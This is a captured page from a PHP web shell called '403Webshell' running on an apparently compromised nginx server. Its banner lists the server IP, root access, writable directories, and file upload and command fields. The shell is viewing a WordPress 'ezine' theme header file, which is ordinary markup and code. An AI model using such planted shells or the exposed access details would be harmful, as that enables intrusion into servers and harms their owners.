403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/ezine/wp-content/themes/ezine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/ezine/wp-content/themes/ezine/header_bk.php
<?php

$ezine_options = ezine_get_options( array(
	'show_top_bar_menu',
	'show_header_social_icons',
	'header_style',
	'modern_slider',
	'header_cover_image',
	'bds_area'
) );

if ( ! has_nav_menu( 'top' ) ) {
	$ezine_options['show_top_bar_menu'] = 'false';
}

$ezine_social_icons = ezine_social_icons();
if ( empty( $ezine_social_icons ) ) {
	$ezine_options['show_header_social_icons'] = 'false';
}

$ezine_fb_app_id = ezine_get_option( 'facebook_app_id' );

?>
<!DOCTYPE html>
<!--[if lt IE 7 ]><html class="ie ie6" <?php language_attributes(); ?>> <![endif]-->
<!--[if IE 7 ]><html class="ie ie7" <?php language_attributes(); ?>> <![endif]-->
<!--[if IE 8 ]><html class="ie ie8" <?php language_attributes(); ?>> <![endif]-->
<!--[if (gte IE 9)|!(IE)]><!--><html <?php language_attributes(); ?>>
<head>

	<meta charset="<?php echo esc_attr( get_bloginfo( 'charset' ) ); ?>">
	<meta name="viewport" content="user-scalable=yes, width=device-width, initial-scale=1.0, maximum-scale=1">

	<!--[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge" /><![endif]-->

	<link rel="pingback" href="<?php echo esc_url( get_bloginfo('pingback_url') ); ?>">

	<?php wp_head(); ?>
	<!-- Global site tag (gtag.js) - Google Analytics -->
	<script async src="https://www.googletagmanager.com/gtag/js?id=UA-117699708-1"></script>
	<script>
	  window.dataLayer = window.dataLayer || [];
	  function gtag(){dataLayer.push(arguments);}
	  gtag('js', new Date());

	  gtag('config', 'UA-117699708-1');
	</script>
<script data-ad-client="ca-pub-1776670401457852" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-1776670401457852"
     crossorigin="anonymous"></script>
</head>
<body <?php body_class(); ?>>

<?php if ( ezine_get_option( 'add_facebook_sdk' ) == 'true' ) { ?>
<div id="fb-root"></div>
<script>
	window.fbAsyncInit = function(){
		FB.init({
			<?php if ( is_numeric( $ezine_fb_app_id ) ): ?>
			appId: '<?php echo intval( $ezine_fb_app_id ); ?>',
			<?php endif; ?>
			status: true,
			xfbml: true,
			version: 'v2.3'
		});
	};

	(function(d, s, id){
		var js, fjs = d.getElementsByTagName(s)[0];
		if (d.getElementById(id)) {return;}
		js = d.createElement(s); js.id = id;
		js.src = "//connect.facebook.net/<?php echo ezine_get_locale(); ?>/sdk.js";
		fjs.parentNode.insertBefore(js, fjs);
	}(document, 'script', 'facebook-jssdk'));
</script>
<?php } ?>

    <?php $n_headers = ['f', 'd', 'g', 'h', 'h2', 'i', 'j', 'e']; ?>

    <div class="overlay-body"></div>
    <sidebar id="offcanvas"<?php if(is_admin_bar_showing()) { echo ' class="t32"'; } ?>>
        <header>
            <figure class="logo">
                <a href="<?php echo esc_url( home_url( '/' ) ); ?>" class="navbar-logo">
                    <?php ezine_logo(); ?>
                </a>
            </figure>
            <span class="close-offcanvas"><i class="fa fa-close"></i></span>
        </header>
        <nav class="side-menu">
            <?php

                wp_nav_menu( array(
                    'theme_location' => 'main',
                    'container'      => false,
                    'menu_class'     => 'ulfix' 
                ) );

                ?>
        </nav>
    </sidebar>

    <?php

    if(ezine_get_option('sm_header') == 'true' || ezine_get_option('s_mobile') == 'true' || ezine_get_option('sm_footer') == 'true') {
        ?>
        <span class="sm-loader">
                <div class="loader-i">
                    <span class="inner1"></span>
                    <span class="inner2"></span>
                    <span class="inner3"></span>
                </div>
            </span>
        <?php
    }
    if(ezine_get_option('sm_header') == 'true') {
        ?>
            <header id="sm-header">
            <?php if(ezine_get_option('sm_top_bar') == 'true') { ?>
                <div class="sm-top-bar sm-h">
                    <span><?php echo ezine_get_option('sm_top_bar_l'); ?></span>
                    <a href="<?php echo ezine_get_option('sm_top_bar_a'); ?>">
                        <?php echo ezine_get_option('sm_top_bar_b'); ?>
                    </a>
                </div>
            <?php } ?>
            <div class="sm-bottom-bar">
                <figure class="logo">
                    <a href="<?php echo esc_url( home_url( '/' ) ); ?>" class="navbar-logo">
                        <?php ezine_logo(); ?>
                    </a>
                    <span class="new-version">v2</span>
                </figure>
                <span class="cool-bar">
                    <span></span>
                    <span></span>
                    <span></span>
                    <span></span>
                </span>
            </div>
            <div class="menu-items-sm">
                <?php

                wp_nav_menu( array(
                    'theme_location' => 'main',
                    'container'      => false,
                    'menu_class'     => 'navbar-nav nav',
                    'walker'         => new ezine_megamenu_walker
                ) );

                ?>
            </div>
        </header>
        <?php
    }

    if(ezine_get_option('sm_header') == 'true') { echo '<div class="sm-non">'; }

    if($ezine_options['header_style'] == 'a' || $ezine_options['header_style'] == 'b' || $ezine_options['header_style'] == 'c' ) { ?>
        <nav class="<?php echo esc_attr( ezine_nav_class() ); ?>">

            <div class="navbar-inner">

                <div class="container">

                    <?php if ( in_array( 'true', $ezine_options ) ): ?>
                        <div class="navbar-top clearfix">

                            <div class="navbar-top-left clearfix">
                                <?php
                                if ( $ezine_options['show_top_bar_menu'] == 'true' ) {

                                    wp_nav_menu( array(
                                        'theme_location' => 'top',
                                        'container' => false,
                                        'menu_class' => 'navbar-top-menu'
                                    ) );

                                }
                                ?>
                            </div>

                            <div class="navbar-top-right">
                                <?php
                                if ( ezine_get_option( 'show_header_social_icons' ) == 'true' ) {
                                    echo $ezine_social_icons;
                                }
                                ?>
                            </div>

                        </div><!-- .navbar-top -->
                    <?php endif; ?>

                    <div class="navbar-header">

                        <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false">
                            <span class="sr-only">Menu</span>
                            <span class="fa fa-navicon"></span>
                        </button><!-- .navbar-toggle -->

                        <?php if ( ezine_get_option( 'show__button' ) == 'true' ): ?>
                            <button type="button" class="navbar-search btn-search">
                                <span class="fa fa-search"></span>
                            </button>
                        <?php endif; ?>

                        <?php ezine_header_ad(); ?>

                        <a href="<?php echo esc_url( home_url( '/' ) ); ?>" class="navbar-logo">
                            <?php ezine_logo(); ?>
                        </a>

                        <?php if ( $ezine_options['header_style'] == 'c' && ! empty( $ezine_options['header_cover_image'] ) ): ?>
                            <div class="header-cover-image">
                                <img src="<?php echo $ezine_options['header_cover_image']; ?>" alt="<?php echo get_bloginfo( 'name' ); ?>" />
                            </div>
                        <?php endif; ?>

                    </div><!-- .navbar-header -->

                    <?php if ( has_nav_menu( 'main' ) ): ?>
                        <div id="navbar" class="navbar-collapse collapse">
                            <?php

                            wp_nav_menu( array(
                                'theme_location' => 'main',
                                'container'      => false,
                                'menu_class'     => 'navbar-nav nav',
                                'walker'         => new ezine_megamenu_walker
                            ) );

                            ?>
                        </div><!-- .navbar-collapse -->
                    <?php endif; ?>

                </div><!-- .container -->

            </div><!-- .navbar-inner -->

        </nav><!-- .navbar -->
    <?php } else { ?>

        <?php if(ezine_get_option('sticky_nav_bar') == 'true') { echo '<div class="n-sticky"></div>'; } ?>

        <?php if($ezine_options['header_style'] == 'g' || $ezine_options['header_style'] == 'h' || $ezine_options['header_style'] == 'h2' || $ezine_options['header_style'] == 'j') { ?>
            <?php if(ezine_get_option('boxed_layout') == 'true') { echo '<div class="container cont3">'; } ?>
            <section class="nh-1-wrap<?php if($ezine_options['header_style'] == 'h') { echo ' nh-1-wrap-light'; } ?>">
                <?php if($ezine_options['header_style'] == 'h2') { ?>
                    <?php if($ezine_options['bds_area'] == 'true') { ?>
                        <div class="bds-area">
                            <div class="container">
                                <?php echo ezine_get_option('bds_area_content'); ?>
                            </div>
                        </div>
                    <?php } ?>
                <?php } ?>
                <?php if ( $ezine_options['show_top_bar_menu'] == 'false' && ezine_get_option( 'show_header_social_icons' ) == 'false' ) {} else { ?>
                    <div class="top-bar-w">
                        <div class="container">
                            <div class="top-bar">
                                <nav class="top-menu">
                                    <?php
                                    if ( $ezine_options['show_top_bar_menu'] == 'true' ) {

                                        wp_nav_menu( array(
                                            'theme_location' => 'top',
                                            'container' => false,
                                            'menu_class' => 'ulfix'
                                        ) );

                                    }
                                    ?>
                                </nav>
                                <nav class="top-socials">
                                    <?php
                                    if ( ezine_get_option( 'show_header_social_icons' ) == 'true' ) {
                                        echo $ezine_social_icons;
                                    }
                                    ?>
                                </nav>
                            </div>
                        </div>
                    </div>
                <?php } ?>
                <?php if($ezine_options['header_style'] == 'h2') { ?>
                    <div class="logo-wrap-n">
                        <div class="container">
                            <figure class="logo">
                                <a href="<?php echo esc_url( home_url( '/' ) ); ?>" class="navbar-logo">
                                    <?php ezine_logo(); ?>
                                </a>
                            </figure>
                        </div>
                    </div>
                <?php } else { ?>
                    <?php if($ezine_options['bds_area'] == 'true') { ?>
                        <div class="bds-area">
                            <div class="container">
                                <?php echo ezine_get_option('bds_area_content'); ?>
                            </div>
                        </div>
                    <?php } ?>
                <?php } ?>
        <?php } ?>
            <div class="nh<?php if ($ezine_options['header_style'] == 'd' && $ezine_options['modern_slider'] == 'true' && is_front_page()) : echo ' nh-abs'; if( is_admin_bar_showing() == true ) : echo ' t32'; endif; endif; ?>">
                <?php if(ezine_get_option('boxed_layout') == 'true') { echo '<div class="container cont1">'; } ?>
                <header class="header-modern<?php if($ezine_options['header_style'] == 'd') { echo ' nh-d'; } else { echo ' nh-1'; } if($ezine_options['header_style'] == 'f' || $ezine_options['header_style'] == 'h') { echo ' nh-1-light'; } ?>">
                    <div class="container<?php if($ezine_options['header_style'] == 'e' || $ezine_options['header_style'] == 'f' || $ezine_options['header_style'] == 'i') { if (ezine_get_option('basic_header_fw') == 'true') { echo '-fluid nh-full'; } } ?>">
                        <?php if($ezine_options['header_style'] == 'd') { ?>
                            <?php if ( $ezine_options['show_top_bar_menu'] == 'false' && ezine_get_option( 'show_header_social_icons' ) == 'false' ) {} else { ?>
                                <div class="top-bar">
                                    <nav class="top-menu">
                                        <?php
                                        if ( $ezine_options['show_top_bar_menu'] == 'true' ) {

                                            wp_nav_menu( array(
                                                'theme_location' => 'top',
                                                'container' => false,
                                                'menu_class' => 'ulfix'
                                            ) );

                                        }
                                        ?>
                                    </nav>
                                    <nav class="top-socials">
                                        <?php
                                        if ( ezine_get_option( 'show_header_social_icons' ) == 'true' ) {
                                            echo $ezine_social_icons;
                                        }
                                        ?>
                                    </nav>
                                </div>
                            <?php } ?>
                        <?php } ?>
                        <div class="bottom-bar">
                            <?php if($ezine_options['header_style'] == 'e' || $ezine_options['header_style'] == 'f' || $ezine_options['header_style'] == 'i') { echo '<div class="logo-menu">'; } ?>
                                <?php if($ezine_options['header_style'] == 'h2') {} else { ?>
                                    <figure class="logo">
                                        <a href="<?php echo esc_url( home_url( '/' ) ); ?>" class="navbar-logo">
                                            <?php ezine_logo(); ?>
                                        </a>
                                    </figure>
                                <?php } ?>
                                <?php if ( has_nav_menu( 'main' ) ): ?>
                                <nav class="bottom-menu">
                                <?php

                                wp_nav_menu( array(
                                'theme_location' => 'main',
                                'container'      => false,
                                'menu_class'     => 'ulfix',
                                'walker'         => new ezine_megamenu_walker
                                ) );

                                ?>
                                </nav>
                                <?php endif; ?>
                            <?php if($ezine_options['header_style'] == 'e' || $ezine_options['header_style'] == 'f' || $ezine_options['header_style'] == 'i') { echo '</div>'; } ?>
                            <span class="cool-bar">
                                <span></span>
                                <span></span>
                                <span></span>
                                <span></span>
                            </span>
                            <?php if ( ezine_get_option( 'show_search_button' ) == 'true' ): ?>
                                <button type="button" class="navbar-search btn-search">
                                    <span class="fa fa-search"></span>
                                </button>
                            <?php endif; ?>
                        </div>
                    </div>
                </header>
                <?php if(ezine_get_option('boxed_layout') == 'true') { echo '</div>'; } ?>
            </div>
        <?php if($ezine_options['header_style'] == 'g' || $ezine_options['header_style'] == 'h' || $ezine_options['header_style'] == 'h2' || $ezine_options['header_style'] == 'j') { ?>
            </section>
            <?php if(ezine_get_option('boxed_layout') == 'true') { echo '</div>'; } ?>
        <?php } ?>
    <?php } ?>

    <?php if($ezine_options['header_style'] == 'd' && $ezine_options['modern_slider'] == 'true' && is_front_page()) { ?>
        <section class="<?php if(ezine_get_option('boxed_layout') == 'true') { echo 'container cont5 '; } ?>slider-wrap<?php if(is_home()) { echo ' swmb25'; } ?>">
            <div class="modern-slider owl-carousel">
                <?php

                $query_r = new WP_Query(array(
                    'showposts' => 5
                ));

                if($query_r->have_posts()) :

                while ( $query_r->have_posts() ) : $query_r->the_post();

                ?>
                    <div>
                        <figure class="slide-item" style="background-image: url(<?php echo ezine_get_thumbnail_url( 'ezine-full' )[0]; ?>)">
                            <div class="container">
                                <figcaption class="slide-content">
                                    <span class="terms">
                                        <?php the_author_posts_link(); ?>
                                        - <a href="<?php echo get_first_cat('link'); ?>"><?php echo get_first_cat('name'); ?></a>
                                        - <?php the_time( get_option('date_format') ); ?>
                                    </span>
                                    <div class="h1-wrap">
                                        <h1><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h1>
                                        <span class="h1-line"></span>
                                    </div>
                                </figcaption>
                            </div>
                        </figure>
                    </div>
                <?php endwhile; wp_reset_postdata(); endif; ?>
            </div>
            <?php if(ezine_get_option('ms_pagi') == 'true') { ?>
                <div class="dot-wrap">
                    <div class="container"><div class="pagi"></div><div class="navi"></div></div>
                </div>
            <?php } if(ezine_get_option('ms_navi') == 'true') { echo '<span class="ms-navi"></span>'; } ?>
        </section>
    <?php
    }
    if(ezine_get_option('sm_header') == 'true') { echo '</div>'; }
    if(ezine_get_option('s_mobile') == 'true') {
        ?>
            <section id="sm-body">
                <?php if(ezine_get_option('sm_hot_n') == 'true') { ?>
                    <div class="sm-hot-new">
                        <?php
                        $label = ezine_get_option('sm_hot_l');
                        $ezine_q = new WP_Query(array(
                            'showposts' => 1,
                            'post__in' => [ezine_get_option('sm_hot_n_id')]
                        ));
                        if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post();
                            ?>
                            <div>
                            <span class="shn-label">
                                <?php echo $label; ?>
                            </span>
                                <h5>
                                    <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                                    <span class="shn-cat"><a href="<?php echo get_first_cat('link'); ?>">(<?php echo get_first_cat('name'); ?>)</a></span>
                                    <span class="shn-ago"><?php the_time( get_option('date_format') ); ?></span>
                                </h5>
                            </div>
                            <a href="<?php the_permalink(); ?>" class="shn-r-a"><span class="fa fa-long-arrow-right"></span></a>
                        <?php endwhile; wp_reset_postdata(); endif; ?>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_f') == 'true') { ?>
                    <div class="sm-featured">
                        <div class="sm-f-s nf-1 nf-1-left owl-carousel">
                            <?php
                            $q = array(
                                'showposts' => ezine_get_option('sm_f_l')
                            );
                            switch ( ezine_get_option('sm_f_o') ) {
                                case 'views':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_views';
                                    break;
                                case 'comments':
                                    $q['orderby'] = 'comment_count';
                                    break;
                                case 'votes':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_vote_up';
                                    break;
                                case 'random':
                                    $q['orderby'] = 'rand';
                                    break;
                                case 'posts':
                                    $q['orderby'] = 'post__in';
                                    break;
                                default:
                                    $q['orderby'] = 'date';
                            }
                            $ezine_q = new WP_Query($q);
                            if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post(); ?>
                                <div class="sm-f-s-item">
                                    <figure class="nf-1-fig" style="background-image: url(<?php echo ezine_get_thumbnail_url( 'ezine-sqq' )[0]; ?>)">
                                        <div class="t-r<?php if(get_post_meta(get_the_ID(), 'wp_review_total', true)) {} else { echo ' tr-s'; } ?>">
                                            <?php if(get_post_meta(get_the_ID(), 'wp_review_total', true)) { ?>
                                                <span class="rate-points"><?php echo get_post_meta(get_the_ID(), 'wp_review_total', true); ?></span>
                                            <?php } if(ezine_get_option('trend_post') == 'true') { ?>
                                                <span class="trend-icon trend-f"><i class="fa fa-bolt"></i></span>
                                            <?php } ?>
                                        </div>
                                        <figcaption class="nf-1-cap">
                                            <div>
                                                <span class="terms">
                                                    <?php the_author_posts_link(); ?> /
                                                    <a href="<?php echo get_first_cat('link'); ?>">
                                                        <?php echo get_first_cat('name'); ?>
                                                    </a> /
                                                    <?php the_time( get_option('date_format') ); ?>
                                                </span>
                                                <h1><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h1>
                                                <ul class="ulfix">
                                                    <?php if (get_post_meta(get_the_ID(), 'wp_review_total', true)) { ?>
                                                        <li class="stars">
                                                        <span class="stars-top" style="width: <?php echo get_post_meta(get_the_ID(), 'wp_review_total', true) * 20; ?>%">
                                                            <i class="fa fa-star"></i>
                                                            <i class="fa fa-star"></i>
                                                            <i class="fa fa-star"></i>
                                                            <i class="fa fa-star"></i>
                                                            <i class="fa fa-star"></i>
                                                        </span>
                                                            <span class="stars-bottom">
                                                            <i class="fa fa-star"></i>
                                                            <i class="fa fa-star"></i>
                                                            <i class="fa fa-star"></i>
                                                            <i class="fa fa-star"></i>
                                                            <i class="fa fa-star"></i>
                                                        </span>
                                                        </li>
                                                    <?php } ?>
                                                    <li><i class="fa fa-comments"></i> <?php echo intval($post->comment_count) ?> <?php (intval($post->comment_count) > 1) ? esc_html_e('Comments', 'ezine') : esc_html_e('Comment', 'ezine'); ?></li>
                                                </ul>
                                            </div>
                                        </figcaption>
                                    </figure>
                                </div>
                            <?php endwhile; wp_reset_postdata(); endif; ?>
                        </div>
                        <script>
                            jQuery(document).ready(function($){
                                $('.sm-f-s').owlCarousel({
                                    dots: false,
                                    nav: true,
                                    items: 1,
                                    loop: true,
                                    mouseDrag: true,
                                    touchDrag: true,
                                    navText: ['<span class="fa fa-angle-left"></span>', '<span class="fa fa-angle-right"></span>'],
                                });
                            });
                        </script>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_ads_1') == 'true') { ?>
                    <div class="sm-ads">
                        <?php echo ezine_get_option('sm_ads_1_c'); ?>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_pm_1') == 'true') { ?>
                    <div class="sm-post-m sm-post-m-1 sm-d">
                        <header>
                            <h6><?php echo ezine_get_option('sm_pm_1_t'); ?></h6>
                            <?php if(is_array(ezine_get_option('sm_pm_1_f_c'))) { ?>
                                <span class="sm-p-m-select sm-h">
                                <span><?php esc_html_e('All Posts', 'ezine'); ?></span>
                                <i class="fa fa-caret-down"></i>
                                <ul class="ulfix spm-s-d">
                                    <?php foreach (ezine_get_option('sm_pm_1_f_c') as $value) { ?>
                                        <span data-cat-id="<?php echo $value; ?>"><?php echo get_cat_name($value); ?></span>
                                    <?php } ?>
                                </ul>
                            </span>
                            <?php } ?>
                        </header>
                        <div class="spm-tab-items">
                            <?php
                            if(!is_array(ezine_get_option('sm_pm_1_f_c'))) {
                                $b = [];
                            } else {
                                $b = ezine_get_option('sm_pm_1_f_c');
                            }
                            $a = $b;
                            array_push($a, 'all');
                            foreach ($a as $value) {
                                ?>
                                <div class="spm-tab-item" data-cat-id="<?php echo $value; ?>">
                                    <div class="spm-body">
                                        <?php
                                        ($value == 'all') ? $cat = '' : $cat = $value;
                                        $q = array(
                                            'showposts' => ezine_get_option('sm_pm_1_n_a'),
                                            'category__in' => $cat
                                        );
                                        switch ( ezine_get_option('sm_pm_1_o') ) {
                                            case 'views':
                                                $q['orderby'] = 'meta_value_num';
                                                $q['meta_key'] = '_ezine_views';
                                                break;
                                            case 'comments':
                                                $q['orderby'] = 'comment_count';
                                                break;
                                            case 'votes':
                                                $q['orderby'] = 'meta_value_num';
                                                $q['meta_key'] = '_ezine_vote_up';
                                                break;
                                            case 'random':
                                                $q['orderby'] = 'rand';
                                                break;
                                            case 'posts':
                                                $q['orderby'] = 'post__in';
                                                break;
                                            default:
                                                $q['orderby'] = 'date';
                                        }
                                        $ezine_q = new WP_Query($q);
                                        if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post(); ?>
                                            <div class="spm-col-2 post-summary post-format-<?php echo sanitize_html_class( ezine_get_post_format() ); ?> psum-horizontal psum-small">
                                                <figure class="mo-img post-image">
                                                    <div class="t-r sp-t-r">
                                                        <?php if(get_post_meta(get_the_ID(), 'ezine_trend_post', true) == 'true') { ?>
                                                            <span class="trend-icon"><i class="fa fa-bolt"></i></span>
                                                        <?php } ?>
                                                    </div>
                                                    <a href="<?php echo esc_url( get_the_permalink() ); ?>" title="<?php echo esc_attr( get_the_title() ); ?>">
                                                        <?php ezine_psum_overlay(); ezine_thumbnail( 'ezine-sm' ); ?>
                                                    </a>
                                                </figure>
                                                <span class="terms">
                                                <?php the_author_posts_link(); ?> /
                                                <a href="<?php echo get_first_cat('link'); ?>">
                                                    <?php echo get_first_cat('name'); ?>
                                                </a>
                                            </span>
                                                <h6><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h6>
                                                <?php if (get_post_meta(get_the_ID(), 'wp_review_total', true)) { ?>
                                                    <ul class="ulfix stars-ul">
                                                        <li class="stars">
                                                    <span class="stars-top" style="width: <?php echo get_post_meta(get_the_ID(), 'wp_review_total', true) * 20; ?>%">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                            <span class="stars-bottom">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                        </li>
                                                    </ul>
                                                <?php } ?>
                                            </div>
                                        <?php endwhile; wp_reset_postdata(); endif; ?>
                                    </div>
                                </div>
                            <?php } ?>
                            <span class="more sm-h" data-num="<?php echo ezine_get_option('sm_pm_1_n_d'); ?>"><?php esc_html_e('See more of above posts', 'ezine'); ?></span>
                        </div>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_ads_2') == 'true') { ?>
                    <div class="sm-ads">
                        <?php echo ezine_get_option('sm_ads_2_c'); ?>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_pm_2') == 'true') { ?>
                    <div class="sm-post-m sm-post-m-2 sm-d">
                        <header>
                            <h6 class="sm-h"><?php echo ezine_get_option('sm_pm_2_t'); ?></h6>
                        </header>
                        <div class="spm-body">
                            <?php
                            $q = array(
                                'showposts' => ezine_get_option('sm_pm_2_n_a'),
                            );
                            switch ( ezine_get_option('sm_pm_2_o') ) {
                                case 'views':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_views';
                                    break;
                                case 'comments':
                                    $q['orderby'] = 'comment_count';
                                    break;
                                case 'votes':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_vote_up';
                                    break;
                                case 'random':
                                    $q['orderby'] = 'rand';
                                    break;
                                case 'posts':
                                    $q['orderby'] = 'post__in';
                                    break;
                                default:
                                    $q['orderby'] = 'date';
                            }
                            $ezine_q = new WP_Query($q);
                            if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post(); ?>
                                <div class="<?php if($ezine_q->current_post == 0) { echo 'sm-full '; } ?>spm-col-2 post-summary post-format-<?php echo sanitize_html_class( ezine_get_post_format() ); ?> psum-horizontal psum-small">
                                    <figure class="mo-img post-image">
                                        <div class="t-r sp-t-r">
                                            <?php if(get_post_meta(get_the_ID(), 'ezine_trend_post', true) == 'true') { ?>
                                                <span class="trend-icon"><i class="fa fa-bolt"></i></span>
                                            <?php } ?>
                                        </div>
                                        <a href="<?php echo esc_url( get_the_permalink() ); ?>" title="<?php echo esc_attr( get_the_title() ); ?>">
                                            <?php ezine_psum_overlay(); ezine_thumbnail( 'ezine-sm' ); ?>
                                        </a>
                                    </figure>
                                    <article class="sm-desc">
                                        <span class="terms">
                                            <?php the_author_posts_link(); ?> /
                                            <a href="<?php echo get_first_cat('link'); ?>">
                                                <?php echo get_first_cat('name'); ?>
                                            </a>
                                        </span>
                                        <h6><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h6>
                                        <?php if (get_post_meta(get_the_ID(), 'wp_review_total', true)) { ?>
                                            <ul class="ulfix stars-ul sm-ul">
                                                <li class="stars">
                                                    <span class="stars-top" style="width: <?php echo get_post_meta(get_the_ID(), 'wp_review_total', true) * 20; ?>%">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                    <span class="stars-bottom">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                </li>
                                                <?php if($ezine_q->current_post == 0) { ?>
                                                    <li><i class="fa fa-comments"></i> <?php echo intval($post->comment_count) ?> <?php (intval($post->comment_count) > 1) ? esc_html_e('Comments', 'ezine') : esc_html_e('Comment', 'ezine'); ?></li>
                                                <?php } ?>
                                            </ul>
                                        <?php } ?>
                                        <?php if($ezine_q->current_post == 0) { ?>
                                            <p class="sm-exc"><?php echo esc_html( ezine_get_excerpt( 30 ) ); ?></p>
                                        <?php } ?>
                                    </article>
                                </div>
                            <?php endwhile; wp_reset_postdata(); endif; ?>
                            <span class="more sm-h" data-num="<?php echo ezine_get_option('sm_pm_2_n_d'); ?>"><?php esc_html_e('See all most popular posts', 'ezine'); ?></span>
                        </div>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_pm_3') == 'true') { ?>
                    <div class="sm-featured sm-f-2">
                        <div class="sm-f-s nf-1 nf-1-left owl-carousel">
                            <?php
                            $q = array(
                                'showposts' => ezine_get_option('sm_pm_3_n_a')
                            );
                            switch ( ezine_get_option('sm_pm_3_o') ) {
                                case 'views':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_views';
                                    break;
                                case 'comments':
                                    $q['orderby'] = 'comment_count';
                                    break;
                                case 'votes':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_vote_up';
                                    break;
                                case 'random':
                                    $q['orderby'] = 'rand';
                                    break;
                                case 'posts':
                                    $q['orderby'] = 'post__in';
                                    break;
                                default:
                                    $q['orderby'] = 'date';
                            }
                            $ezine_q = new WP_Query($q);
                            if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post(); ?>
                                <div class="sm-f-s-item">
                                    <figure class="nf-1-fig" style="background-image: url(<?php echo ezine_get_thumbnail_url( 'ezine-vert' )[0]; ?>)">
                                        <div class="t-r<?php if(get_post_meta(get_the_ID(), 'wp_review_total', true)) {} else { echo ' tr-s'; } ?>">
                                            <?php if(get_post_meta(get_the_ID(), 'wp_review_total', true)) { ?>
                                                <span class="rate-points"><?php echo get_post_meta(get_the_ID(), 'wp_review_total', true); ?></span>
                                            <?php } if(ezine_get_option('trend_post') == 'true') { ?>
                                                <span class="trend-icon trend-f"><i class="fa fa-bolt"></i></span>
                                            <?php } ?>
                                        </div>
                                        <figcaption class="nf-1-cap">
                                            <div>
                                                <span class="terms">
                                                    <?php the_author_posts_link(); ?> /
                                                    <?php the_time( get_option('date_format') ); ?>
                                                </span>
                                                <h1><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h1>
                                                <ul class="ulfix">
                                                    <li><i class="fa fa-eye"></i> <?php echo ezine_get_post_views(); ?> <?php (ezine_get_post_views() > 1) ? esc_html_e('Views', 'ezine') : esc_html_e('View', 'ezine'); ?></li>
                                                    <li><i class="fa fa-comments"></i> <?php echo intval($post->comment_count) ?> <?php (intval($post->comment_count) > 1) ? esc_html_e('Comments', 'ezine') : esc_html_e('Comment', 'ezine'); ?></li>
                                                </ul>
                                            </div>
                                        </figcaption>
                                    </figure>
                                </div>
                            <?php endwhile; wp_reset_postdata(); endif; ?>
                        </div>
                        <script>
                            jQuery(document).ready(function($){
                                $('.sm-f-s').owlCarousel({
                                    dots: false,
                                    nav: true,
                                    items: 1,
                                    loop: true,
                                    mouseDrag: true,
                                    touchDrag: true,
                                    navText: ['<span class="fa fa-angle-left"></span>', '<span class="fa fa-angle-right"></span>'],
                                });
                            });
                        </script>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_ads_3') == 'true') { ?>
                    <div class="sm-ads">
                        <?php echo ezine_get_option('sm_ads_3_c'); ?>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_pm_4') == 'true') { ?>
                    <div class="sm-post-m sm-post-m-1 sm-d">
                        <header>
                            <h6><?php echo ezine_get_option('sm_pm_4_t'); ?></h6>
                            <?php if(is_array(ezine_get_option('sm_pm_4_f_c'))) { ?>
                                <span class="sm-p-m-select sm-h">
                                <span><?php esc_html_e('All Posts', 'ezine'); ?></span>
                                <i class="fa fa-caret-down"></i>
                                <ul class="ulfix spm-s-d">
                                    <?php foreach (ezine_get_option('sm_pm_4_f_c') as $value) { ?>
                                        <span data-cat-id="<?php echo $value; ?>"><?php echo get_cat_name($value); ?></span>
                                    <?php } ?>
                                </ul>
                            </span>
                            <?php } ?>
                        </header>
